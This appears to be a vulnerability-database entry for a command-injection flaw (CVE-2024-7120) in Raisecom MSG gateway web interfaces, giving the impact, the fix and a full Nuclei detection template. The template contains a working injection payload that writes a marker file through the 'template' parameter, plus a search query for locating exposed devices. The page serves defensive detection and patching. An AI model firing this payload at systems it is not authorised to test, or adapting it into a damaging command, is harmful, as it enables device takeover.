Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90 - Command Injection

mediumseverity

6.3CVSS score

93.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A vulnerability, which was classified as critical, was found in Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90. This affects an unknown part of the file list_base_config.php of the component Web Interface. The manipulation of the argument template leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-272451.

Impact

Authenticated attackers can execute arbitrary OS commands on the Raisecom gateway devices through command injection, achieving complete system compromise.

Fix

Apply security patches from Raisecom for MSG1200, MSG2100E, MSG2200, and MSG2300 devices running version 3.90 to address the command injection vulnerability.

How to confirm it

Send: GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{randstr}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60 ; GET /tmp/info.html
Positive when: contains in body_2 "{{randstr}}" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7120 -u <target>

The full check

id: CVE-2024-7120

info:
  name: Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90 - Command Injection
  author: pussycat0x
  severity: medium
  description: |
    A vulnerability, which was classified as critical, was found in Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90. This affects an unknown part of the file list_base_config.php of the component Web Interface. The manipulation of the argument template leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-272451.
  impact: |
    Authenticated attackers can execute arbitrary OS commands on the Raisecom gateway devices through command injection, achieving complete system compromise.
  remediation: |
    Apply security patches from Raisecom for MSG1200, MSG2100E, MSG2200, and MSG2300 devices running version 3.90 to address the command injection vulnerability.
  reference:
    - https://netsecfish.notion.site/Command-Injection-Vulnerability-in-RAISECOM-Gateway-Devices-673bc7d2f8db499f9de7182d4706c707?pvs=4
    - https://vuldb.com/?ctiid.272451
    - https://vuldb.com/?id.272451
    - https://vuldb.com/?submit.380167
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2024-7120
    cwe-id: CWE-78
    epss-score: 0.9349
    epss-percentile: 0.99841
  metadata:
    verified: true
    max-request: 2
    fofa-query: '"<TITLE>Web user login</TITLE>" && "<META content\==MSHTML 6.00.2900.5583\" name\=GENERATOR></HEAD>"'
  tags: cve,cve2024,intrusive,raisecom,rce,vkev,vuln

http:
  - raw:
      - |
        GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{randstr}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60  HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /tmp/info.html HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{randstr}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from